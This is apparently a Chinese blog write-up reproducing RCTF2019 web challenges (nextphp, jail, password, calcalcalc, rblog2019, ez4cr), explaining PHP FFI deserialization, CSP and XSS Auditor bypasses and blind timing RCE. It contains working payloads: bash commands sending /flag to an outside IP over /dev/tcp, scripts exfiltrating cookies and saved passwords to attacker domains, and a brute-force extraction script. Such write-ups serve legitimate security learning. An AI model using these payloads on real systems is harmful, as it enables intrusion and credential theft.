RCTF2019 web 复现

复现这个环境真的要命,真的是整几天docker做一天题Orz

nextphp

进入直接没过滤可以执行命令

1
2
3
4
5
6
<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

于是尝试?a=print_r(scandir(dirname(__FILE__)));

成功获得当前目录

于是尝试用system()执行命令无返回,于是echo phpinfo();获得phpinfo()

查看发现反射类和执行命令用的方法被禁用于是另寻他路

尝试?a=show_source('preload.php');获得preload.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

首先通过phpinfo可以知道环境是php7.4
在php7.4中新定义了两个用于序列化的魔术方法__serialize()和_unserialize(),用于自定义序列化的方式,详细用途见PHP RFC: New custom object serialization mechanism
除此之外在php7.x(不清楚)还新增了一个Serializable接口,这个接口中定义了serialize()和unserialize()这两个方法,也是用于重新定义序列化方式的(详见同上),但在与php7.4新增的这两个魔术方法同时存在时,会优先使用魔术方法

于是读一下代码我们就知道要通过反序列化调用run方法,然后执行命令,但问题在于执行命令的方法都被禁用了就很头大。

不过找一找php7.4的新特性就会发现,php7.4新增了一个外部函数接口(Foreign Function Interface),这个接口允许开发者在php中写C
这里是一个使用例子:PHP 外部函数接口 PHP-FFI
在这个接口中,我们可以通过FFI::cdef()这个静态方法去创建一个FFI类,然后调用执行里面的C函数。而且FFI很牛逼地可以绕过php.ini中open_basedir和disable_functions的限制。这么强的一个接口官方自然会削一下,在默认设置下只允许在预加载的php文件中调用这个接口。不过正好另一个文件名preload翻译过来就是预加载,而且php7.4中的新特性也有预加载,解题的方向应该就是这个了。

接着查查看预加载
PHP 7.4中使用预加载的方法详解
大概就是通过设置可以将一部分较少需要修改的php文件编译为字节码后,缓存在opcache内存中以加快php的执行速度。被设置为预加载的文件可以通过phpinfo查看

查一下确实就是preload.php,于是先构造一下反序列化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class A implements Serializable{
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char *command);'
];

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
}

}

$a = new A();
echo serialize($a);

得到

C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:8:"FFI:cdef";s:3:"arg";s:31:"int system(const char *command);";}}

这里要用题目给的serialize()去序列化,因为是数据部分反序列化后直接赋给成员data。如果有变量名的话会变成二维数组,那就要data['data']才能用我们构造的数组去正确覆盖掉成员data

然后直接通过a参数去执行反序列化,调用get方法获得ret变量最后再执行system()

于是payload:

1
2
3
unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__get('ret')->system('bash -c "cd ../../../../../../../;ls -l > /dev/tcp/ip/port"');

unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__get('ret')->system('bash -c "cat /flag > /dev/tcp/119.23.206.8/2333"');

获得目录与flag

jail

这是一道很有趣的XSS的题,有好几种解法。可惜复现时bot好像启用失败,只能写写大致的思路了

首先登录进入,整一下就会发现有两个可用的接口。?action=profile用于上传文件,不过php和html都被限制了。另一个接口?action=post一看就是搞XSS的

试着写个<img src="https://www.baidu.com">,发现并没有加载,开一下控制台看看发现

由于Content Security Policy的限制导致资源没被加载,Content Security Policy是个啥玩意???百度一下百度一下

Content-Security-Policy的实战应用

CSP这个东西大概就是类似于同源策略,不过同源策略限制的是不同源的话服务器端无法读客户端的数据,但无法避免客户端被利用去恶意加载不同源的服务器的资源。而CSP就是为此而生,通过CSP我们能够限制客户端可以允许读取的资源。

关于详细的CSP配置可以看这
CSP

于是从抓包看一下CSP的配置(同时也可以看到给了hint:flag在cookie)

1
Content-Security-Policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self';

可以看到iframe被限制,connect-src限制了<a>, ping, fetch, XMLHttpRequest, WebSocket, EventSource。不过script并没被完全限制,允许内联,本来想着能靠这个来进行跳转。但post接口中通过一段js,使用了freeze()冻结document.location限制住了跳转

到这里,就有两个解题方向,一个是绕过CSP,另一个是绕过freeze()

先说绕freeze()

绕过freeze()好像属于非预期解,这里虽然freeze()冻结了document.location,但用location.host却可以被修改
找了下资料大概就是说freeze()会让对象不可拓展,同时将configurable和writable 属性设为false。
当configurable为false时,对象属性特性无法更改且无法删除属性;当writable 为false则不能更改属性值。
而由于href的writable 值被设为了false因此自然就不能修改,但host和hostname并没有writable特性,这两个属性的赋值与取值是通过setter和getter完成的,这就是能够修改host的原因

有一个能跳转的就好办,上一波payload

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
function stringToHex(str){
var val="";
for(var i = 0; i < str.length; i++){
if(val == "")
val = str.charCodeAt(i).toString(16);
else
val += str.charCodeAt(i).toString(16);
}
return val;
}
location.host=stringToHex(document.cookie).substr(0,60)+".域名:80"
</script>

这里由于是修改host,所以不能通过get传参过去,只能通过不同级的域名发送过去。如果是用自己服务器接的记得要配二级以上的域名,不然会接不到。同时由于这个搭环境时默认是搭在12315端口上,所以不能用hostname,必须用host指定80端口(这里坑了我好久,不过还是因为bot没反应还是没打出来)

然后是绕过CSP。绕过CSP则有三种方法,一种是使用Service Worker,另一种是用WebRTC,还有一种是DNS-prefetch

首先什么是Service Worker,Service Worker可以看作是一个远程缓存的接口,起离线依旧保持用户的缓存状态等作用。
而Service Worker有一个特点,在Service Worker执行js代码时,会遵从的是这个js的CSP。
不过在注册Service Worker时会受到worker-srcscript-src,在存在worker-src时,若设为self则可以注册,而不存在时则看script-src
还有作为Service Worker的服务器必须通过https进行数据交互

看post页面的CSP配置可以看到script-src是有self配置的,于是可以使用Service Worker。

script-src 'unsafe-inline' 'self';

于是先创建一个js

1
fetch('https://ip或域名?' + encodeURIComponent(globalThis.location.href), {mode: 'no-cors'})

然后通过头像上传,再获得存储的位置,然后创建消息。

1
<script>navigator.serviceWorker.register('/uploads/sw.js?'+encodeURIComponent(document.cookie),{scope: '/uploads/'});</script>

这里我在本地测试了很多次,注册Service Worker但就是引入js后无法fetch传出数据,以后再查看看为什么吧(主要js还是不够熟)

然后WebRTC则是利用connect-src没有限制WebRTC这个API,而且官方知道但好像没准备补(巨坑x),不过好像要搭ice服务器才能接收数据于是先坑了【逃

这是大佬们的payload

1
2
3
4
<script>
var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:YOUR_IP:YOUR_PORT?transport=udp"],"username":document.cookie,"credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));
</script>

DNS-prefetch嘛,说是用js动态创建link标签然后利用 DNS 预解析查询外带数据

X-DNS-Prefetch-Control

emmm…有时间我再整整这个

password

这题和上一题是同样的环境,于是还是只能写写思路

给了三个提示,第一个打密码,第二个是说不是chrome自带的密码管理,第三个是说获取html源码

那猜测大概是某种chrome插件管理密码,然后由于输入密码时会下拉框加载先前输入过的密码。于是我们可以通过XSS构造一个登录框,把所有保存的该站的密码给拿到。这可真是个斯巴拉西的操作

于是先按hint写一个登录框抓源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<input type="username" name="username">
<input type="password" name="password">
<script>
function stringToHex(str){
var val="";
for(var i = 0; i < str.length; i++){
if(val == "")
val = str.charCodeAt(i).toString(16);
else
val += str.charCodeAt(i).toString(16);
}
return val;
}
setTimeout(function () {
location.host=stringToHex(btoa(document.body.innerHTML)).substr(1800,60)+".域名:80";
}, 1000);
</script>

这里要通过延时才能让候选密码显示

拿到读一下

1
2
3
<input type="username" name="username" data-cip-id="cIPJQ342845639" class="cip-ui-autocomplete-input" autocomplete="off">
<span role="status" aria-live="polite" class="cip-ui-helper-hidden-accessible"></span>
<input type="password" name="password" data-cip-id="cIPJQ342845640">

可以看到输入框处多了个data-cip-id,百度一下发现是ChromeIPass拓展会添加的元素。本地安装一下,在出现候选密码时看一下源码,发现候选密码用的都是cip-ui-menu-item这个class,于是我们可以专门去抓这个class处的数据

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<input type="username" name="username">
<input type="password" name="password">
<script>
function stringToHex(str){
var val="";
for(var i = 0; i < str.length; i++){
if(val == "")
val = str.charCodeAt(i).toString(16);
else
val += str.charCodeAt(i).toString(16);
}
return val;
}
setTimeout(function () {
document.getElementsByName('username')[0].click();
document.getElementsByClassName('cip-ui-menu-item')[1].click();
location.host=stringToHex(btoa(document.getElementsByName('password')[0].value)).substr(0,60)+".域名:80";
}, 3000);
</script>

这题依旧可以用上题的Sevice Worker和WebRTC以及DNS-prefetch的方法去做

calcalcalc

这题拿docker搭了后迷之用不了,不过好像原题就是给了源码,那就读着源码+wp来做好了

这题进去是一个计算器,输入后计算结果。不过这里会将计算丢入三个不同的后端(php,python和nodejs),进行计算后比对结果,结果相同再返回,不同则报错

看源码可以看到主页面是用typescript写的,没用过orz,看了好久大概看出整一个流程应该是

index.hbs→main.ts→app.module.ts→app.controller.ts→calculate.model.ts→expression.validator.ts

但我实在找不到post过去的数据是怎么传给CalculateModel的

读calculate.model.ts和expression.validator.ts可以看到

1
2
3
@ExpressionValidator(15, {
message: 'Invalid input',
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
export function ExpressionValidator(property: number, validationOptions?: ValidationOptions) {
return (object: Object, propertyName: string) => {
registerDecorator({
name: 'ExpressionValidator',
target: object.constructor,
propertyName,
constraints: [property],
options: validationOptions,
validator: {,
validate(value: any, args: ValidationArguments) {
const str = value ? value.toString() : '';
if (str.length === 0) {
return false;
}
if (!(args.object as CalculateModel).isVip) {
if (str.length >= args.constraints[0]) {
return false;
}
}
if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) {
return false;
}
return true;
},
},
});
};
}

这里限制了长度不得大于14,同时还进行了正则过滤

不过这个长度限制我们可以通过(args.object as CalculateModel).isVip的值,也就是CalculateModel的isVip属性来绕过。

1
public readonly isVip: boolean = false;

虽然这里默认为false,但我们可以通过post数据去修改isVip的值,这也是我想找出post值是怎么传到CalculateModel的原因
然后正则就看payload要怎么写再想怎么绕吧

接着看看三个后端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, request
import bson
import json
import datetime

app = Flask(__name__)


@app.route("/", methods=["POST"])
def calculate():
data = request.get_data()
expr = bson.BSON(data).decode()
del __builtins__.exec
return bson.BSON.encode({
"ret": str(eval(str(expr['expression'])))
})


if __name__ == "__main__":
app.run("0.0.0.0", 80)

python的可以看到是直接执行了,不过过滤了exec方法

1
2
3
4
5
6
<?php
ob_start();
$input = file_get_contents('php://input');
$options = MongoDB\BSON\toPHP($input);
$ret = eval('return ' . (string) $options->expression . ';');
echo MongoDB\BSON\fromPHP(['ret' => (string) $ret]);

php源码本身没过滤

1
2
disable_functions = set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log
max_execution_time = 1

但ini中过滤了system,exec,shell_exec这些方法,然后max_execution_time设置为了1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
const express = require('express')
const bson = require('bson')
const bodyParser = require('body-parser')
const cluster = require('cluster')
const app = express()

if (cluster.isMaster) {
app.use(bodyParser.raw({ inflate: true, limit: '10kb', type: '*/*' }))

app.post('/', (req, res) => {
const body = req.body
const data = bson.deserialize(Buffer.from(body))
const worker = cluster.fork()
worker.send(data.expression.toString())
worker.on('message', (ret) => {
res.write(bson.serialize({ ret: ret.toString() }))
res.end()
})
setTimeout(() => {
if (!worker.isDead()) {
try {
worker.kill()
} catch (e) {
}
}
if (!res._headerSent) {
res.write(bson.serialize({ ret: 'timeout' }))
res.end()
}
}, 1000)
})

app.listen(80, () => {
console.log('Server created')
})

} else {

(function () {
const Module = require('module')
const _require = Module.prototype.require
Module.prototype.require = (arg) => {
if (['os', 'child_process', 'vm', 'cluster'].includes(arg)) {
return null
}
return _require.call(_require, arg)
}
})()

process.on('message', msg => {
const ret = eval(msg)
process.send(ret)
process.exit(0)
})

}

Nodejs也是过滤了几个模块以及执行时长

通过这几个源码我们可以知道,实际上我们的命令在后端是执行了,不过由于各个后端返回的结果不同于是报错获得不到想要的数据
于是尝试用curl但发现这几个后端都是在内网中的,不直接与公网连接,无法发送到我们的vps上。那就尝试一下时间盲注型的RCE
这里很神奇的是,虽然三个后端都有做执行时长限制,但测试会发现延时sleep(10)是可以成功的【不过我拿到的源码中是没有看到python有设置超时,也许是这个原因,但好像大佬们的wp中都有写python是设置了超时的

于是用list(range(10000000))让python的执行时间延长

结果延时成功

然后就爆一波flag

1
(ord(open("/flag").read()[0])==1) and set(1 for i in range(10000000))

不过这里为了绕过正则要转为chr()+chr()...这样

但是经过尝试会发现,实际上正确与不正确的时长好像差不多
这里看大佬的wp解释是可能是由于语法不正确导致nodejs崩溃,一直处于crash状态导致不响应,最终使得加载时间变长。那接下来就是要想办法去不让nodejs执行

然后利用的是python的一个神奇的地方,如果是用//python也是会执行除法,而在nodejs和php中//我们知道是注释。于是我们就在payload前加个1//1,这样php和nodejs只会得到1而不执行后面的命令,防止了语法错误

于是payload就是

1
1//1 and (ord(open("/flag").read()[0])==1) and set(1 for i in range(10000000))

然后写波exp跑就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -*- coding:utf8 -*-  
import requests
import time
import re

url = r''

headers = {
'Content-Type': "application/json",
}

flag = ''

for i in range(32):
for j in range(127,0,-1):
s = ''
expression = '1//1 and (ord(open("/flag").read()['+str(i)+'])=='+str(j)+') and set(1 for i in range(10000000))'
for k in expression:
s = s + 'chr('+str(ord(k))+')+'
expression = s[:-1]
payload = '{"expression":"'+expression+'","isVip":true}'
try:
requests.post(url,data=payload,headers=headers,timeout=0.5)
except:
flag = flag + chr(j)
print flag
break

rblog2019

这题没docker只能全靠wp脑补题目【手动笑哭

进入是一个写有往年题wp的blog,查一下源码会发现引入了一个rblog.js。再读一下这个js会发现/api/v2/posts这个接口

于是访问一下固定地返回了首页的那三篇文章,修改成/api/v2/json发送获得

1
{ "status": false, "message": "'\/json' not found.", "data": [] }

好像是个反射型xss的点,同时/被转义

于是尝试一下/api/v2/<img>,然而什么都没发生,查了一下报文头发现Content-Type: application/json。那这里是xss不了了

不过看着这个接口,既然是版本2,那是不是有版本1?于是尝试一下看看/api/v2/posts,再看看报文头,发现是Content-Type: text/html; charset=UTF-8。于是尝试/api/v1/<img>,这次就有解析了

找到了XSS点,但依旧有三个限制,x-content-type-options和CSP以及chrome的XSS Auditor(题目里提示了Chrome 74)

先说x-content-type-options,这个响应首部是用来控制浏览器内容嗅探行为。由于浏览器的内容嗅探行为,尽管返回内容的MIME类型与Content-Type 首部中对 MIME 类型不相同,但依旧会将类型转化成可执行的MIME类型。但若x-content-type-options设置了nosniff,那浏览器就不会进行内容嗅探,这样就可以遏止很多MIME的绕过,而nosniff也只是对script以及style起效(但实际上我在本地测试了很多次依旧没达到预期效果,是我的姿势不对?)
具体见:web安全:x-content-type-options头设置

本来是要通过外部加载js的,但由于设置了x-content-type-options:nosniff,我们就无法绕过Content-Type: text/html; charset=UTF-8。不过题目给了一个jsonp的提示,这个提示就是用来绕这里的

我知道jsonp是用来解决跨域问题,但没去看过它真正是如何实现的

简单透彻理解JSONP原理及使用

简单来说,jsonp就是通过src这样调用远程js的方法来实现的,后台会将数据括入方法中,以js的格式返回(类似于这样:return 'callback('.$data.')';),然后前端按照方法名进行回调。而一般情况下后台是不会知道前端实际上设置的方法名是什么,于是就出现了一个回调参数,常用是callback等等参数名。通过这个参数,后台即使不知道方法名是什么依旧可以让前端正常地进行回调
上面也说了返回是以js格式返回的,因此MIME的值为application/javascript,于是我们可以直接绕开x-content-type-options

这里对posts接口测试一下,/api/v2/posts?callback=test,返回

1
test({...})

那看来是可以利用来执行js

接着是CSP
Content-Security-Policy: default-src 'self'; object-src 'none'
这个CSP好像作用不是很大,也就对我们要用的script的限制了不允许内联以及向获取外部资源

到这里我们已经可以写出

1
<script src="https://rblog.2019.rctf.rois.io/api/v1/posts?callback=parent.location.href='http://ip/?'%2bdocument.cookie;console.log"></script>

最后的console.log是用来充当回调,让语法正确

但是经过测试会发现/以及’被转义了,不过也就这两个被转义,我们可以用html实体编码一下,然后用iframe的srcdoc属性执行

于是

1
<iframe srcdoc=&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x20;&#x73;&#x72;&#x63;&#x3D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3A;&#x2F;&#x2F;&#x72;&#x62;&#x6C;&#x6F;&#x67;&#x2E;&#x32;&#x30;&#x31;&#x39;&#x2E;&#x72;&#x63;&#x74;&#x66;&#x2E;&#x72;&#x6F;&#x69;&#x73;&#x2E;&#x69;&#x6F;&#x2F;&#x61;&#x70;&#x69;&#x2F;&#x76;&#x31;&#x2F;&#x70;&#x6F;&#x73;&#x74;&#x73;&#x3F;&#x63;&#x61;&#x6C;&#x6C;&#x62;&#x61;&#x63;&#x6B;&#x3D;&#x70;&#x61;&#x72;&#x65;&#x6E;&#x74;&#x2E;&#x6C;&#x6F;&#x63;&#x61;&#x74;&#x69;&#x6F;&#x6E;&#x2E;&#x68;&#x72;&#x65;&#x66;&#x3D;&#x27;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x69;&#x70;&#x2F;&#x3F;&#x27;&#x25;&#x32;&#x62;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x3B;&#x63;&#x6F;&#x6E;&#x73;&#x6F;&#x6C;&#x65;&#x2E;&#x6C;&#x6F;&#x67;&#x22;&#x3E;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;>

最后是XSS Auditor

最简单的来说就是查找url中是否有标签,同时html是否也有相同的,相同则将可能产生xss的标签的属性值直接去掉。
比如像

?xss=<iframe%20srcdoc=。。。%27https://www.baidu.com%27>

后面的链接直接被去掉,至于更详细的可以看
Chrome和IE的xss过滤器分析总结

那这里就要想办法让srcdoc中的值不非法。这里我们可以想,在后台是有进行过json编码的,而json编码对各种非英文字符都会直接转为unicode编码。我们可以利用这个特性,在url中传入中文,这样数据传到后台处理再返回回来后,显示在html中的就与url上的不同,这就成功绕过了XSS Auditor

像这样

?xss=<iframe%20srcdoc=。。。%27https://www.baidu.com%27>

结果

于是payload就是

1
/api/v1/<iframe srcdoc=。。。%26%23%78%33%43%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%23%78%32%30%3b%26%23%78%37%33%3b%26%23%78%37%32%3b%26%23%78%36%33%3b%26%23%78%33%44%3b%26%23%78%32%32%3b%26%23%78%36%38%3b%26%23%78%37%34%3b%26%23%78%37%34%3b%26%23%78%37%30%3b%26%23%78%37%33%3b%26%23%78%33%41%3b%26%23%78%32%46%3b%26%23%78%32%46%3b%26%23%78%37%32%3b%26%23%78%36%32%3b%26%23%78%36%43%3b%26%23%78%36%46%3b%26%23%78%36%37%3b%26%23%78%32%45%3b%26%23%78%33%32%3b%26%23%78%33%30%3b%26%23%78%33%31%3b%26%23%78%33%39%3b%26%23%78%32%45%3b%26%23%78%37%32%3b%26%23%78%36%33%3b%26%23%78%37%34%3b%26%23%78%36%36%3b%26%23%78%32%45%3b%26%23%78%37%32%3b%26%23%78%36%46%3b%26%23%78%36%39%3b%26%23%78%37%33%3b%26%23%78%32%45%3b%26%23%78%36%39%3b%26%23%78%36%46%3b%26%23%78%32%46%3b%26%23%78%36%31%3b%26%23%78%37%30%3b%26%23%78%36%39%3b%26%23%78%32%46%3b%26%23%78%37%36%3b%26%23%78%33%31%3b%26%23%78%32%46%3b%26%23%78%37%30%3b%26%23%78%36%46%3b%26%23%78%37%33%3b%26%23%78%37%34%3b%26%23%78%37%33%3b%26%23%78%33%46%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%36%43%3b%26%23%78%36%43%3b%26%23%78%36%32%3b%26%23%78%36%31%3b%26%23%78%36%33%3b%26%23%78%36%42%3b%26%23%78%33%44%3b%26%23%78%37%30%3b%26%23%78%36%31%3b%26%23%78%37%32%3b%26%23%78%36%35%3b%26%23%78%36%45%3b%26%23%78%37%34%3b%26%23%78%32%45%3b%26%23%78%36%43%3b%26%23%78%36%46%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%37%34%3b%26%23%78%36%39%3b%26%23%78%36%46%3b%26%23%78%36%45%3b%26%23%78%32%45%3b%26%23%78%36%38%3b%26%23%78%37%32%3b%26%23%78%36%35%3b%26%23%78%36%36%3b%26%23%78%33%44%3b%26%23%78%32%37%3b%26%23%78%36%38%3b%26%23%78%37%34%3b%26%23%78%37%34%3b%26%23%78%37%30%3b%26%23%78%33%41%3b%26%23%78%32%46%3b%26%23%78%32%46%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%32%46%3b%26%23%78%33%46%3b%26%23%78%32%37%3b%26%23%78%32%35%3b%26%23%78%33%32%3b%26%23%78%36%32%3b%26%23%78%36%34%3b%26%23%78%36%46%3b%26%23%78%36%33%3b%26%23%78%37%35%3b%26%23%78%36%44%3b%26%23%78%36%35%3b%26%23%78%36%45%3b%26%23%78%37%34%3b%26%23%78%32%45%3b%26%23%78%36%33%3b%26%23%78%36%46%3b%26%23%78%36%46%3b%26%23%78%36%42%3b%26%23%78%36%39%3b%26%23%78%36%35%3b%26%23%78%33%42%3b%26%23%78%36%33%3b%26%23%78%36%46%3b%26%23%78%36%45%3b%26%23%78%37%33%3b%26%23%78%36%46%3b%26%23%78%36%43%3b%26%23%78%36%35%3b%26%23%78%32%45%3b%26%23%78%36%43%3b%26%23%78%36%46%3b%26%23%78%36%37%3b%26%23%78%32%32%3b%26%23%78%33%45%3b%26%23%78%33%43%3b%26%23%78%32%46%3b%26%23%78%37%33%3b%26%23%78%36%33%3b%26%23%78%37%32%3b%26%23%78%36%39%3b%26%23%78%37%30%3b%26%23%78%37%34%3b%26%23%78%33%45%3b>

ez4cr

这题与上题同环境,进入上题的管理员后台就是这题
还有上题的cookie返回了

1
hint_for_rBlog_2019.2=the flag for rblog2019.2 is in the cookie of the report domain. You may need a chrome xss auditor bypass ._.

这就是说我们又要打一次cookie

与上题同样,我们要找一个能返回text/html的接口,F12会在js中发现一个report.php的接口,于是抓下包发现是text/html页面

然后再尝试一个callback也成功返回了test({...}),CSP也和上题是一样的,同时并没有对/和’进行转义,那就比上题更简单了

1
https://report-rblog.2019.rctf.rois.io/report.php?callback=parent.location.href='http://ip/?'%2bdocument.cookie;console.log

用这个返回js页面,然后

1
https://report-rblog.2019.rctf.rois.io/report.php?callback=<script src="https://report-rblog.2019.rctf.rois.io/report.php?callback=parent.location.href='http://ip/?'%2bdocument.cookie;console.log"></script>

引入执行

不过这里还是有个XSS Auditor的过滤,和上题不同,这题我们并没有数据会在后台被进行json编码,那就不能和上题一样用同样的方法绕过

这题的绕过方式看wp的大佬们都是经过漫长的fuzz才整出来的,这里在script的src中如果使用http,在经过后端处理后会整成https,这样返回的内容就和url的不同了,真是tql

于是payload就是

1
https://report-rblog.2019.rctf.rois.io/report.php?callback=<script src="http://report-rblog.2019.rctf.rois.io/report.php?callback=parent.location.href='http://ip/?'%2bdocument.cookie;console.log"></script>

这里会由http升为https是由于Cloudflare CDN 配置不妥所导致,配置CDN还是要小心点。不过这两题如果在cookie中设置了HttpOnly属性那也没XSS的事了2333333

不过好像CDN并不是预期解,看大佬们都没找出来,那这题的预期解到底是什么orz